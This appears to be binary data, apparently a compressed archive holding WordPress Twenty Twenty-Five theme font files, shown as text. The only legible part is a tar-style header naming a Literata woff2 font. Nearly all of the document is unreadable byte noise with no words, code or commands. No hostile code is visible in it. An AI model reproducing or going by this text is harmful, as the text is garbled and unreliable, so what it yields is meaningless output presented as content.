VCݰ\M#`Aו-cpSvtgҸMNa)x#u04i`ȒtBJ9,vEoIEbe+t٢뗃S}b{_Fm*XuXE{ԩ /&w҆r2 w\զ;]OWl r}9ff ]= Q<*5ju'NPG*#Rj1G35 ).N/FF)'lbޗIkdxO zn ĦCo|{jjL+|{8x*!|@-&y̺pc&>m컘gr$_xYc YN! )mEز9Q%ԯ.`\Ck􋴆 I_!AR1`BVjwbIN5xVpM`z1?c+Aq4;n(@ 5sd)M^r9w`"s:˦)6"ac1k/X$ d?X6 כgbfS=29z[UB./v_,9 ^HAXz{tMb+͏׻_6q>q>CiG4 5ٚ2tY:|~pyn IJC]*2mD[|ո6d[pm;5c.,}0&s3W ~~9f1ܲrWL{xaF-ua6qȣJ/C2PM~%9$CDGO\=><בer៘ŮG ^2ϊ{{7ʈQ6tPoe,_{?EcݕVVkU2`c14:Suۻ8a!:KI(jM=I`uPvX:Zf1jv)0lfif eZ&E)x/la 8 >N=K#lG 3&I+yI_*TUGY;P Ax+Aa]U:[*XZq Y:4tmYl#ӗY !8,LFKȡFk@vխ*ߏw1a:w?4}u(<{xE<aMPF]몷>O)k(Bwo;lgyLŦ|0byq 32&! ߭m\Ϩ/RWsF !!r6]ƠCtYAP`A}H WDTV1m QkJa_^#9!?,;ʾZ|zOE2g;{{~"gZjHoՔd6n}.._uAiT vfS>|q&PvbX>ɓ^Z\1/Cﶋ,'v2LAŢAnRngʫŠQ,oQ Y* K Q`CxŇ|k&Wz7peN }afL`EGfZKҺl]4֕ m$$/[)*g,DW[7Zزda<~^|0ǰd$He#2B})1 FSafQ?)*K&l[ t KigzN=؆{ ,'54nL0FVnlj18 z='R,K\n#e ]o7 ꝅU m:nI_kڦ ^Q$4,ש4lɹ.,еyĎ&F3/q)p+ȑșGd"c-#8Q-xఝV^f5rLb瑸)=;%6sԹa+^ _o_@f9J~i%MP=zaJ,+B7E|urO;xc1%u+8uG@锞CLyՌ25&|af|seaC zҍ,;<{NmWkIV@PzIhX:sM B SX4#_w%o'XC 5EXYx3Ԓ޺y[ӽPU4ּ<˂ U\ҟD8M?yZӨX.J{ k0"K pq, (G&x^!>,lwRָ͕\%Lg>Q{ b >AeB=IMm h~ ^z3sN3D+:m]\!-QLUR_7X5~HLD )s'*S$ź:p5YsX'c=,l\~eEoa;NXW>lrB'6{(`a*KM&mhJp7R+ lvIlp)P;}E]G;1 oćd< S >x}G-Ly&0*.׌= 诵LzF9\dOrKDv4I.6 gۆ”t7]/-mޖqx+P ߅)Г(B80IJ߀|T +0Uxd.eABǢ}ЮHIOrl,pؘ:{wPL6[̿M&2*_| W3[#U9'Yߖe+P]{xo#:`wZ(v{`fyuV8 =AdJ6F;+)嗬1Vݐ~:XK_!:HJ2l4my\ +♻ۿKۿEdF>KC 8QJ]'oK M="Fk~5zH%.jrhWǫ8XM#2BSM] f|ZLgA-ތac@ `"G>Ta "v~lnT؅ENI. yC&RĔL:519V=W([vL+ WJ:,Xs*5aN-F>\ߕq@eyVV@O'krqZJpF0KËx,Sw4y9(v}fev9!q| .te>j$Wﶃ:An @~L 1m)`Gd%<`JI?Ed! *AwkXLradVaۃbPy|4Q6d}v;Z+)NEYn~_%pԅΤR0]+5kAvcw̨_ߏq` &z|+A%XBrퟛn+*?7DNolX]ݮy(YjTPI1t9 ~,zA-x;G׿9pdÐ>ɹP)Z.2^?~gJHj~hS_di9xn:Ye 6dzZss4uuh${x{۰hN2wW?"Ipn~`P촦 "+^jףS T[7I`쪕3 ϶!CNӂaæ$" ˂i#Hj0=HI3@oeݻb~Q24wA:t*]@+G}xM0K(ƾ.2DTh t 0K&I+YqYŠ.~8'̂),N, L Q~N6j][mzSM ގ1Þy)~KR=Ҙk*,WPǫ Bn9J]oذ9(28δVG7B/q&ō kc]ɐfkʚM`^Jw~XEFb+8*(ob]$s`r20{nG<ΟݫwN<ѻǴAf&SbͲ}gݟ[/; 5|doA\%z+j *<#0u#&#zG).$%as4"IoRό[ڴ~+=a1U$PGP, i 9ʩe B5/\ s6]v@!CXtj9SRz[5]~-T.-eVnTȣcCN$D =n`/08JOW{eXCKX"Ǒ|z~e>gpm'Śp;F{^.BhGLi/p:&>XJzh х-*k^fsRz bfpfa cW&!H fyL/itWF X=DVz푁!Cu982M IId9]&Ǒ3c`\? `FzN#.̕q9n^e1.jccTvئn+|^.\H~fT$; {N&U`$7a\mdq72-;%+!mC;7 fWO7>>ꐇn`,rCD2o92gr+ bVs]A -VI-14Wnm#A~+Kd.sMdT82B'=_#m V۵%l5c9 (e@>PA aX+ǀr[%l3F"hUWi2f# %{r*$^ !r{K/qǯJ%rº֨fhmY;#3 Nn&,΢UHEh̽9K\nfWJS[52*TgYUDj/)ݴ?|~;Ó b5;-<Ursuw;Ĵ;4<Z[K#̾{F"լCxB{&]bg!<9sǯȤXI3A8H$xn=⑞Lw y v]R={4ƐG3T_s1۩O]5:$No˭vJ|X|쳞䴶໺ F7B)HUi{Wks-CL 3h(=r@8Kry‹'3 e̢Df86fȇu5PXNUZmm/IN(D:Y$9 vGk*=|[q&ZG~rywHIl _TcCBj%eNV3ؐ)ԛ|a&|]>|)n0u?S=s).˱"xAύ`Ӭ4aۛ@-&*N `|T9jjD@w@lVE ۨH^յmn [|Oŕz+P/PJ.eğ%Y^CgLWcU`<[47FPOMo> vy|==}18Ϥd }@#2)6+]WϷ2pu4՗f7Jb<2 >&ߐQ V1\<¢סQi6(3V ۦǟ5+Wٱ`Tw!h$'mWhv~GAKL-3 kR)i9 V+ݓn1f4۸, 0ō[I7ï5?Agf[*:hzƵn5M;pG{EbrGdۏ}}ԢÞ>XMi)qW"'e>IDNJv8WğzzmCkf!K 3~%dŧ\Gں8g<[~ޑ1c̾ :[cCPGb,-}q+v3F8g"Z: ƨL@zA2棰ST:ԳMGha'.J*ݤ[҅ |'3 @t."LI[U7_5|OdP1KYċ(o!k]=SHpӓ<2LwfI0 `T=UG|`WOaux%TQUmCThvaaZ@UuaN#y3m})>a. y4jn6Szq^RAK Od4-)ŲϘr^3BP ZO錤2r~;]R]R.lJU/REy{,AVboz;|[L8kAtYuB;-U_a|\A'>.9?Uo#ɬ(XgX|E8i՘y6ɛӐBIS~ͬkR\ Vz@ҫ"4Ԙ9*l,,} ⒠v5$Y\f @<(0YlB{6qa>Ȭ*$^*|. qKX 3@kdfc䩕f@j2d &PYĄ,e";2B*d%@">.)RvDUWHŘr`hZze'EGrV,ܐf~Бq 1ofYTMvꭧ*+gx:r}L].XI^H^-JGX54C vtG]C"84]cQ5ԡEUkC6+xKռEKX tbԬĐڥ}O!]CɬjG= {FއNF^flW9$Z&h9ئKhFOJe=Gʨ0n"'Vz_6Za*#@{ts|L7lbP*~{Ha {dη"Yoch޼=.vI]:FEo3[,I/WINBFkC>җ87$ b5x,j.x76#|'ьTn+SR[]EPV΢OQJDQÞ׼F,3e|갋0n5$uQY^wTj[U=`~c XS(tt-6-!1* "+斂R,Tr mmnVJ[>916請e9 D>QRtZpQֳtg&T}W7ʕMee8V$<JeKFp>}MH}7xY]Vaݜ`]C6b$y@BUY6 t}&Tѵ ωvf>2 䆥5XByE?{1D#6ky"g֊Odء%ARH@v,e|SsN? %)o6p"lgE8h9]I6x[Rs)Z-T33;ir;6Co$~>Sh' x  k4b_+~|Y_9q 0 à3I97_!dUGq 񎭢gNmlm2iWK46E>#CJ!Zl@d&}ӸDtV&ቆu{>g$XԴYo!LD*Rus*oh;]OCdN8? B;tdpRs]u.vrφV`YT &%[VDg@bO{#{@Yv -Xc -B"xaD}"P8R yl 0r`F",mAN堗n?>|"iɂC.M+r}(i?tCh.Gvn )bEԡa̻,EX)]ed{g6z4ޛ[)x~;O7PL(XH7,<a & # Æ9'v/#NڲN֜U o˙/\|zD%H|p_*b'7>csᚻr`1.1QWڏ|{ VmCfO6_?`p=4ٌ6(rxƑj*8m,#i1*iIx|s(LA 7%4r@ɮU؁`>˱Wen#z>\2[1NGy h:6H=ܕJq> #V_8 @fnWŐIRtl?S`^NeS}Q58s=m &&yDZ,+xx:k?ig!,ذQdGW"K`څ}ؽvc&V4w+-^/ "kOg@ W5K`| n@i0_5mN =ވ//l*]rgч"PsBh:!˜!["DF=jeW_0 n,t}Zjplrv08xD`v Z4ޟb.v'_* 4YYDL8RvQ5uh5Ev}9Z7.Px۵!;O~>~V~T}i!ޅUfn>eqԪ 9:{%9$ qKhQ|\s\\L>~"O.ݶ\<8_VvɰGwZ*{,G 9̨ì} bTՄY{x9M  SwaQ=c o;y?JoY\MVfS]Hnnᘞ3MW!1'EBcGνBzp6Ǭ 'ś {RR"VJ_)0,Egq}f5HF%v stvAF@ƨd߹jSN7 |Dan}yu*{QJm钋"ޜa0ޛ3Ϯأ9ud [~EVښi0p *vflzJ;%O;KgYvvwrNY?M Ԗ%߅M9WkĘ/v/64eȞ*zJ_ ?9ieXz^8 8dgj UAǥ^ynxߵ)l2It\%v(,@$UT~'7)6iS#뵃4\Q]Yw`Tvuj.O֒1eSX/r#ijWV+mT^Ȧ.N6ǬE֫qP%{XZn6jY}-lLHqcEp-|1q60j^&&?Fq7ٍ"JifbW5=pMB _OBq dɔx6@ԜLRSPa^8/"XVacj8n0Y\s5Ձu Sg*y~SYT뱎`ak97vp7(Z5ca'xy-lq'7MAI8dݽ4VU?ZU Ma6ei7D=V=1+x8qqUֺۋa$pj!!މ.{pTfW4N!dZuuv< n|tlВԒ~{Lvڊ~5W~8#ޱ܏3ԇHucaet^P_r'4 =A1\;#E)0 ]="@b߁T)2Y{! ?: 9pz.aZ@DvC)-[&b 'BS3iM  IlP ]mm9]PRK_A#|>u=foy{V%WG>jkqչgvQr"4JmAħΤYE}2cNtDvTɚ CmuSB)LEᎏuc6*m%bn懲jeв!N1!gOL* tNafwO뮧kORGUX P^ 3R5q5vt@L&1YhW[6)5ރ(T6E=p!=g춆lDy8Cd>7̰"Qu bpa31KJ~N/Jqs `U'\H!yO'`*}v-XHz*a ɏ2%C$Qw3ʁrǂ/&$6D FM$ʘ9`Aej-wR攽tm/0$0-<8GHsY/6Dv- BWlZ5xNAԲr|:oZR#a c5$ &tؘNȵHݫCaVvӀYV1, )EO%@4;K *DJ5.PF2eZ ~{fįȌōmtcH xb uq,^{ `L F $Qc>LrnCל1FpV`ZLˠɠdybdmNL]dtVG;!wRAFx`.L66mxp;8BS(^!`;XKtbEN ӎzL&Wi6vO=>%El<ܜN !L kcK=Tu?W58~%A(y!+ҙgr笁 &RGe)풱 j %r/hhZ`g!Oy=H[vH0$0*Ue1I9r4cYZ~)tTtuXfd3w;.tv)e^&0{$5J|6N/)V?rЈ$\3Ms{0Laf,SB%KKsR>8Mti1ݩY?(4|8Ć};@Ws*7.RtǕg+`HI& fؘK]v1GWh 0q Fŝͨ]Mk[C=/H8H[gx;<%Ba 6PSalʣXB`gd޲ZFڪ'b-H@g|;}LS-BY {J3kMȥvN+F9k֬>n)8iS7+=2{Tlmfs=?\?'61.ߢ&:6ǴG^W&Buȵh:+tpMG|2C4G#MEZU$b&>ee^)IabQ ɘ]+(0oMkv -?LmAla`?>+MHVAasCMc5b9r1JX)Lrzs|[ $XɁ4D7!9-RHۣ\\VIT&"zCCޱeu[F;)VCi]iǛ1~9. =~%`_^$ٟO FBcos!@dlE h7{R(!y7/us[Yt?-}al:+`tՆ*3+ޱdiw*9JNAJ3z1hg^S^Uȓ-<=)Mpq56Q# 5X<10f"섔#|~ETlQ3XkfB ,pPJ\6 Y"A|3+/tE+>ux^Zdj\UِE]?vV9Ռg}&o\M;w,e@|Կjo>4qDŽR H=pHdMM5_}+a^ﳦFƚqΪcUZ\!ll5N}M<ԙf ã5úMF;25BBJ~:oFƶ"gp7ڨW Wy9GRbPqV7Ϝ|G9 ҏGM/oz<`7\o|KF++>:Aa8m^O076Wmyp\/ks@T0 q^ 8h-4i D*ow |!j9SI RF[O3NXG˹ß) P,vxGy=~ZFѴwa:h1E%ɸM'J4\3>Z}4C )ZtCs[k>aR݀֠QꭸovF3_^q_׿Lzv~YCӅ.Mlܪ9tkv;\%foG>%NynV?Fkvퟢ$<;z-37:a>8~A.Ɵy3_HEyqFIC¨u%IUNB!޺<'.—Gb [X9%4%']dupNQۚx}(Xg^?0YX>JZ-@Ѐ`ìk4 תSrnONDˋF&yY8w Jdj9.CBX)/6.x;SSI̮]@>ܱfؑa,Bs. 5`X_S5(0ui"A­5 ӐZӑ/I|1{fDŌf53M& #'$ͬ1Ykȋ[SCPHW[D&+;PLM^;JN>k }V[% 9Eʦ}WfB)Rک-ͪ҃n/ ~HlKZbk/][V~`cQ(c1.Y,Ս) ~{؄B[(ǔQyPQhZ&JtQ7'#+DJ! !1I+y0{WfheW4ුs;T, edijª_lPwft*tѕ0bgMq3&N1RKȯV9/9%2zU,A_g( H'I2FȓDfFn8"lUZ UMj F)rb-zuk]}Xk0\Թx$LI$,yDRNh6k1'uIu6wN-~CB޻|{< tgbǑW !Ȑ Oo4jҬ\(x.,-,) N/|,)Vz$Nzt,-=d4DhWp87=XR\EՈ#*{@Fh/Eʭ-Z-57ebh"hlc[6[9my_ 1[d> I"Zxl嚩e,ģVZ4jR'%N~ Q6f"p$d7t6HZ15Hp3~_X}Әg̱_Ƣ3,6 "D*+*FU l0.Ź<ǩdyM-߳]T_EO牕M<`ߖՅ/] oדyEйϊJ(F6{HC}@x $pr#=ޡ_`6'8V;OtX&w>_Ǵдy=ήq>$۷zu1}>zlA=! < #u#i4֬KHQ z=W'/.jDGzM"732y덠 =i&t5Vx~k^ IQbҚ逫ܺV-ydS%ykm,1o-RR+ŸJq!e.ƅT5ŸJGq!n*22^ Ymn&&T{]ŸJ+uͼDTjVuO3kiZju~eL34L34Lۚkky&eJ=2&$/@$m9"oyآ%>?{^Fxkw9d[ck~ږWW]VTY{Nނk'ŏPA>LA"$ҭ L`p2h8D6t6D &0ӷrEbIxVvabZk}&=ξ CX"+lٟ-Gl 4PPia*wI> hè'yxOk>ꙺT/E=, $yc7ؾޱvm2 Ѣ"A*Ĩ~_nO>Oнdҗey#16 E~A.Ѫǿ1|`qr88<@VPA* Tq2CBU2TU b//R%qA% ixA:Nȸˤթ7 &&ftGܴF)4u %[*ΐb35(./?ߘdk!CʈR&oa#+ ~[ӳCDt;:(he~jUS{şR"ǧUtsY*w][B㵵*(KoWo 'OZHߢ]]@i1vٷg .!|cEMnl0> @λ HJP&uO=KA+7}Uoei 2C:'O y}q9m , Ey{beT}~BGxmz_zÍNgKrp6yPi=(t0A^߰&GPe eCܻ%f=Fn}FZՎ#IȸLG>)6&YhdW=u#k( i * H/u_w_y> (,*OmMQlҫv?q[Su*3{2Vfޕ="j:>(7 0!wY :xMg nGɔPk%1[3%@89[GAZ`H.cideF"H&O1mj:jšO,042SeqOniB%H!,ljLEc[2ZgJq>I-ylHY] P(G8PHղўbaUp:;#A#sCK{[ Ң­ ֍\g8 v{ưZJ6M3[:},nX7OnV=VQ/fOރ~VU+ϧj]>HՎ-5[3A>vYkY>lJ(^7wG뼿 > OO pka>κd%婵 55[a&Fj-0OL5Tl]2ݩZLB5Geq˺vO~sIxoypdTS˹!lӠ02NSF-l2|s7^1?dp+RBZΓX2ZRt4h$0vbv¼OޗDV*-)k]/Anm6iDH_:v12 +u|k ۂWN;[+OCڿ>fimvkTN{af{Bt!OeC ź;4[k^bkk  j@.EA}J^ )̼1l(eP+Ie2Xip䣯~-=R?F o-S#}##4bԌz"d4~e"4CMyiQ849FYFewGvbL3S?, 2 8u?FfyćV9c!sBON/0Ul_Onմu rtR(uHӿ +eYHrAHG ilʣJ8[U@Q@ \T)ykq+ g1wc* 6 *f/[Ai%@&]zѴ\#k̼S2dO5|Ǵn \YL69R^J:Lkg{\%/3N"Ӯsthemes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2000064400000327014152335264760023105 0ustar00wOF2 D^n`PX  4y6$t x | o$r[ִW ]GUe NeTkjuS7K\CDNPU*y30 ڷܲ&fo&O 硠 (PŮ[m y' (+IJfJj4eMWhiεD;HHP#$cNJ lMx] >UZ 4S]_\UU2<mZ-$:sը2zR` w ҅ :ޠqoQoIa)&Hk2JUtb&v!ƢFaAjM1cKfjϖ-7F?6$slwh[#+e DC͙is3큦}&8 )9CES;M{JDD)մ_`RӞ ítiQ4kfeTsGAR3Aɔh1DA9# ꨎ|osqѶ\_i =Ū=uMuv9SSIӡ~ͩF+⦢KӺR^su? 'sȴD.XOuX1F%PSQg^@mvʿR= iR25eCDz_*J}Udk 'cZ^9IU q"zLA2xT ܻ{Dk!oP^5W 3,@ǡcqo3p5}u \a5|dXD?E!b~SiŬ/3^~5#(أ;x ϺoU{6,A2Dd"riL?dxB,C'ΔHPR1~+Px-ⵗ9 Q C?uml0|F^- @ N&F[- `6Ef⥱Iuu F퓌T'OƝ, Z%7%P`z0$S6CpJ<^WDVQgH]zDv$bXR(5*Θ۴wD勨ṋBEbc0"U4 ,:#8뢌6 Ͼz㌋6nn8e'.$BۘYőougCdfm$37Vﵥ\T+Iu~2lHG <|++'dc&V(UAQJ`}3OX󒱵K,hfTN <Ne]nΛWcya,K@piQ,` }o }nL ;',$$m4 ='S +ĊОϧ[˥"^+]հ-& xlN`2[l/Y1`rkU#R%$$ +A8Vij,9W{DxEi $=<~?q'oN(48 g1)0lAk?@j>DrgF6e')pB^m \6G E=aW[w4ͅv<J)l! YO&_Mo]-[';I>*~P'dQɡ].Q?D6MCkB4b`Ǧ{<־{g VA6WmnάȎ`}?,!=n<&vTaiMmYpNH̷֧DY">m&nF 1"x0Dl{Ndm$v11ŏ^VȀ%\@ݽ}7:DR0Ou󿖦b$lL-A#hԱ7ˢ# \+wOW@|jo~BXDl*'& jts☴D/T0CR!NMe+X^O_7}_'@ EvBoqުnn΢A77}?%5Z\E9dm7-&I̐dʉ~ˡCl EڗbfeZwk{ -Dd[kJ_:3^zWI*hAc>CG9qzmΝ }6%a@8"vaIWݬSd9Ũ.F Ʋ|2!gP ){UA~HV)Uw˪DUi{q CȻ^d{?R m( ԔLWӒݎ[8UH؄JI[%횘V 9gb;b;lss4_kH^ UNof$~ INvh$oզ,5m^ˮٽ^e P8B@fyS7c=`oSNԛi!}PPKP /G>_zyf$Bf:TiJܼmAA8W8k B|D8- Wv8cvED(bc~_sb3,M34M&c1BQa߭|ԩf] "#iV޽ҩVdyŘUTq2u>8ȜX_dj7GJ?SdZEX8ԫOcCD@ma?7r/i,a̐ !H)E_L]@PYq͍aieNh"*  g @ieg*ucz,f~h;qp.,h'/ @6Jr@N5y/ ?m[ Æ%AdVCn~C>>@Y xhŎ|hV1!i*C)3WJ^~\Q\6nw늇 5F| xWOONF* dv 9(rX1!!C‡ҫh(ġrFK+_hW)\>,R_ޠjz[WMaLZ6#y jZp$e-@mkC z:e|:szjAz%P{eᥣ[v)n.mM#w@W@`kAj:m>O;a577V ă WGw߂4Щt/9'^o)aAwz7kg#Z`7sxX3|hJ42B~A)!fCQSt(oNi]&d1h"Nd7s-~>xS?0\ C3A$(dGUEĚ;=GVZYbVY dO!H< $B!4& S@! )rHe Ub='*)v>8JXyϋ 7a%F308FAVreUꫴ.\r m?(y#[r,YV⋁tg@J^pWGcV{y(njበ {E "*5*(fm挺4[?;_ʬGe1}OA /x۳B-wA,T3*}rJeaakVk؋x;A8so웓y >Zm3_GTRjXcL!G3QyL/W ٤. 8‹N.ZI ~ %Q>BIҾK,9Ux:Ep>x^r*{M 9rv -ص~{:dhZ$.s_|jߵl޲ג2m/UԲJ>=cZ^n5r6Z(K΋)x.!nՅʇN)Sdȵԫ)^', !t 5# _=1CjRw,8! SvC t?/*ImT*|tPZ~*猒 4-iFK;i@iqKrlbųئԒ3.sUKj $5Wupձi\өǬb`grBP.8<ھx>b|kvnwFӸtX }.he!ҷж^D~rlO-oU&F07w*:6WKv+U:H{' qaP|f$1xz`n}ogX|JN*P Vp+ ֛YdEP <]):+քOC}VPSTA#h)$\;5uyr9I_Cr3m8U} N.O:5.>)g:H4FM95.:pHc?"yL9, Ptd5G?Ч, cBnBɹ2Ƌlӱ=FLA>X[(P+ DփX~\iٞʱ&!0H^ĿT,1RA0e%BWn$ȷdIF'+gm]T#\mPhtc`z=GCPi ((n!6tE,0 퍝h>m_"cy(9*› >Jl8}%iHVmٷk9@;SZ%&-Z0VFu{鸜W(fG8&\@Ei!DSocsIBXQI3®V3 !h.O&Ms|BQ'F9*RXx/lwPðH:]ڋ ƣa\u EuQmHs֨3+[Rnca$tvwLgč#ջkG=xEeT讎_Oe+V&sȜ#Jdp"Jͼ#{ ( qLm됡(xc Y]9M6QT3*9 Z滟i8*496 *" 觖SͧoURЫy{ymHy]*<1mz8.v@g}OYB˝Ge$zFB7bT.AV1w {id^D)H#%{J`F]F)|cKwku+ŧR Q{G ʭLPJj-8BP }gT[vل(̓b֢rcGH4b8jMȾfE ;D2Ld,̜bjy -}ur]t{|Hoևce'vr)}աSU[468yY!|ept8\d:hj7@0ם8Q;j( :Jק9R>3"?IHC'y @W\D˩qzOfVd 7)hjчTS^+|IaҬ$zE*HY[hATY/TOh?]/Nl`OjpU΃0vViP1=^ȷ1,,VwEM2z~4EmzRPTT#_?7sJ}`?/L 2FV9Z[YEQMd0/Xh#͘‰-[i@0;k{tO E׫*jx*/*g%(:B D}gQ4w<*wR+cϬ122 "_>Hg`OX^iiQiP ?MN$!H,-V,5 ':Scm+Dzz0VWY;},8f15D9`"G %.G7ܟk4pd+K*J_ErIxС;:^}^ZQ'ƺNxڧ=OAE3Zځ&z6A?H{\ߢctI|?kV^x']\3q 5[eŪE0Zne&ʩPq/~,HyGcFP1o+w'mI6DŽOk:kpAO`сq]\n]NOtZ>oKc9k#64 D'8mP0 EP&쇄ܚgFRJs <^/Y+|&'*ۤ\gV+(`ߟm _~N>p?mc82*9 #Pu}4GOFvi#8.C 7/oW:ѕ_j} #\/ZzU<=\/S&H}v %)`Oyq[,ZʶgCdS0:D#;g+%DO̩hg BXZ햇[]]I+@J1!_NR't~f1U, gDr~CW$^WkK?|>6P+!vp΋$]ZۚG4RJ`i~S#-nχm0e;Dq½K9@ E:s8o]Y溄Fxb:0 [qE?iĬyq427Y8pf o.IC=nv5w)?9^3gxbz?vXE[]H ÎD/3z4sh菏OZOa ;ށU!oh?ݎyŠmlݝi6|o1^uvl GynD/&9"IYD'u|0%wb %>0Z÷Ccl揵Sj-ք,>GCG4$u)\ړO5`PJI#b( dpb̿fIZ/ fau51Xz =xsPxKޢ~Q{ɯBtφ^-o67SvSE{[9BTUxwC9t{ 5xb_6u_28wfVp=&UJm$˻$A9c vqbɼ10\h>^J4X8rI><Ņԃ0߳ 9&BQh罽bn͆u#@]) dEPSj.9F OҴffī_ aQ_ąz8˩f`gsՋ]O?cAD ů{ܻ49"꺳ש&'y"~VČW>GIzPp`LHZWc/^& B;5>6$uq=f/yb3\ I;q8癁L˝քo:1uʻ1 ỡ^:,I)lQZbŝ=9<zۢ(sԝ*5׈#Q9R"S3z,++s $2A6à.'^DEԼWmßST1\jğ3߉r OAMY'蝞y L5[|lEٚ#sGw·VXCEIh;|\9?Pm6?s=Roo?㶒\н~q^L-z@DJo| \H᙭HJPۭ xB;?{۸YA#wg]{j{JαWd;Q@=RbU}X[ET#9(1)ee:kbCsezp>!>G*F*E4{,s{le"R. <j(mf Xrr5m}wdSH_1#ի5 ʙ$ɤ^zdԷJ].Qh~YZ`./QD?9G#{"P%߮_]V٤[i$] iՁZl{YrtPgǨݼK:8:k9Rwn@qYCGn<;USEж/+vXQ_w2|rT@ߦw0??eyc:yJ 9XO6< @*-d5) M,XMY3 ci~ "PyU뺞jucAε@N my@Fa !mzC698I)A[vC!wtp-H_ uMFn}yل5T J;)KeU_ư+sp:sq2"4 JMt Mi k%QUW0ˍJHNfȴQ kmԘӜjN5n;b$h53 ˞Z%XOl4nM8o!r%sW쏼9x]49#]f_?{>?@ (pP4` 3e_ek LEJ$o786*guB͐%4Ir)W1ER+7Wj݊ԚX=ʅARDG&@EB5=Ҋr5&\Z(fh'iw+ʫ&2LHA!f@"ax~_$hRCGJGNϢbj-lOTc_Ol?SLC\ $<ϙVjh%yuE*MMTՆ- eİn,;8?o47'`'Ef>e҆D-JX1٤+:I^XbTrJjqBvH!%E!͈ Ѱ &8%F+= x["H2438"?ȐDg&O<7d1Lpg2̥JH3kET ݸFV$-E*t;U6dlF0-:Qm=5U/%&^)GM,>s8&1 Y65úu$ .vON !Ԡ #{@ :: t^V:xd 1cmns*ڢAQ 9 $49sxvd=~b1SܰqtK#t|+iE|1Ebi5=q澒/.RC05GE2KcU` )GE D)$x`u[!|W,LP|"xEd)?8tlF)t^lUthrCxP#|i* ( آIp*v<~EA0ϲRLxPޭ} +Ė5W1ڻMJXkgwdv+ HfLZ /VoǞ)zV7qbKg)~ ]4Mr,V.eClvɏ%9dC YBTyp""b#쫶Fl`MӺA~?:С+P6loO=`{˻'#{B G#SD $GH.؁2cZE4C >T?.(&iu?c@1Dvd"RNnBSM٢ԕa%K?I|b93'j]ފHg7KˣV-yArwLws@+)=ERR醑;)f S1U?pݽxپlJBYOΝheh4 X=71o*$ĕ'=SR#{|IUyͧpVdwh*d9"JBT;]*,Xԋ!r cb(ȯV ,#b)׃8~OT+zBD{ŧo={Y<[i?#Mj"1U+>UT4ߐ=.JS$Z=@Q`/ "VrGLa2;ljFqZKq^@w&\"^qcFćlw QD7}~GE)!4 z7ǎ̈E~{\ >W9Vثn % Ժ* xRYP (1b4|]8ws,^V\YD_ăpb5,xq! * 1GFJ~3" uay9cl@0>lIfNWN5SQ4ZhSV+"tK"U0~.9pn&x}G5]lۣ(K*J=D 68[W ܢ/<^u/9۰n&X7z"]'n塚z!G[x6w4{Ȳ_W'%Im%I`LcH d$zM=!(tjFayMn_Ѿg{$2L?^X6Mݎn!4  7b]aYNo'3Dzd )ppPphRe8@-55X=`Awdl44&aIQTuj/[oW.4Zs})3 YNw.fHhzچB^ǟup=hxeM9©v S_<0VaCS3ځ!t31-Ƭ32rtgƚdrSkPx39)%cv$~w*DZ8CjnXq”xW`dL^3l98i` vwu`342K[ K;>>"&Q8}5#&QPG||||pǼXZq\ͼ >3 \tivw\T-Rr Lu1Z#^,Xv.uwX#tMp\%lq[3΅)_y븻W 53#q;yUM4 1Ų_Y2)R"&sk%+&ٲ{5Z\<|BFܕ<3grZ]VL?~5=}4Ƙ<+Y("t27rw-mj-[rJ+X~ޞ=HyseLBA3AuP&KkS#kQmXUI,orXx("+*oǒfb B\0^ij8_4ip%($ޓ$擺jr+)l.7]^pEsK2Ae q;ٷco!#CN9WDMN ̬ -M$%]0RN7 ,_cֺj?*zQr2`YB:f [j9_u{4ɫMN~R/idY~.&CQ#qL׳iȒZ:X ^u5 ;t`rHn]w -(NEk$2d b6) *uhy %;Fy͎\6Zy,Z X@5}g1}.,VڞTDhyh<- IIJXNHSN;r^ޖA ̩$•p.>w9R}~ri2XxXPD^lJ\ִlW |1.+ $ɜP?iNgzЬ3FlEmcf1@W9&?Ӱe/z@99/~gMjaBf[4kPzkj2ƍS Ap,'!gquLF\T7A`8\f^ >PŴt-RZ &1A tb~LG^=+&@*,? [Ŋ +Z4>1Ԧ/)%9DaAsgw;wk?W|uǎ8}$UGZ<p)ĩ:|Pq/?^|~$h1hs/|Y..aȈQc AK+H%!N9\)GTPQ( UQiM36Y%S'IxDq.mX5/e&gO.C.֗ls`GF7Jlih1"{HְƪElLM3t%k-PZ8[8[8[8:8 6L"H[t[[ 0d>9hxAl>TLvv6qD"HĚ;hgs"dmRxU%-rrA@Xt nRyp:]WIf=9V]@MFD6kS͘ml2&67Q3o|zTyYM-&$AA)W($]7a4S͘e+P 2"rr {m$OmcLHRDmc(7t&ӷt]CfnZkMQ.ZfeqQҖ,١աS`X,]lUdͦD 2,}۸<nS' jRт:!Ф2m,[G`Rj{h  -@_nW`NNpG(?QY{J;E#ː$=q+6\ǬE6քD.Bhnyiʈ RF J^Ԛ~ss #5555VMN֞~%3 R%a9Bɿkst- ^[ocG@%5*5 W*6HϢz /~xؼR?TuޏQ_t+M42m{daNcFёW2$Nr&Jm>I˔#7Jݺ%he s)KYeUbWnlS8ܓ EocHP9$ǤPB K~LnPo!phĨa3G&YZ3 2[M+̓g'uP`NXF(Py{2$䢡vy:>H=Ʊՙώ5]-m2h*/x?}"4` DRd$J 3,6 "D2/UjVY};\Z#nS- )HOCʈX,YvGNp΃Op |U)FTiGSc 4tn Puf495YS1!XPaHEDJUVVz iŠԤYVmuԕIv~ ^'I 99Kc˂W;=*';7[Ξ~ɜP>QLRz# B KX)ݶ@r %p0YBįd>R6l-[=5ղ!sWqeĴ#i/]Q.XMm?|{=h6hՖ~N!lzqJHgim%MviIdBmI`J2j OUjf2 Ҥ|._2}S/]NСs20;Ŗjfnzv(Z:|ط}}\p=+݉ y# қ $dJ!51&T/+YI;yRTqgv,;PW62Su'C~0WeiCy83n#{( `ymia|gfjp1$* $Su'4|)夗G KDqcL71ei2YdwۭhFن8A=I[Y7mS͘e;ׄbI8nqgJL3!ЏobO,YJUy 3mC!s>wly hHAqڳgG@3]g4WOO4լ j2m,[B.%y9=^aJ?:̪L]Fkװ'UҤ`%[ Uըl5\CiӮ'V6@5ڨ &1eڌ6JA.DREs3(N[<,AI&)&RAiU]r FEO~Re$ xg)D"LB9[v X@8d \ʍnr3Km #($E3, $+E&>_phN&j;.۾ry.F\HH(b"PS0|B]9΍i-:\U%Ԝp繫'sN +m* =0L1bs/FO,SVV=Ve[~ss * "=c p*="!A(a9BɫAԮ;J Z`ɲF*-. &H, Jlˍ~8([H#bMFq 3zE{>) X  uIKS+@<nj\ C'ܯd[ŻEϺc$^{t ћ-jbHy+KJJ¯碥l*1!7z\ wr:ss 08gǷ qιsVCm:t`h1e6ukGyFy7 (( * 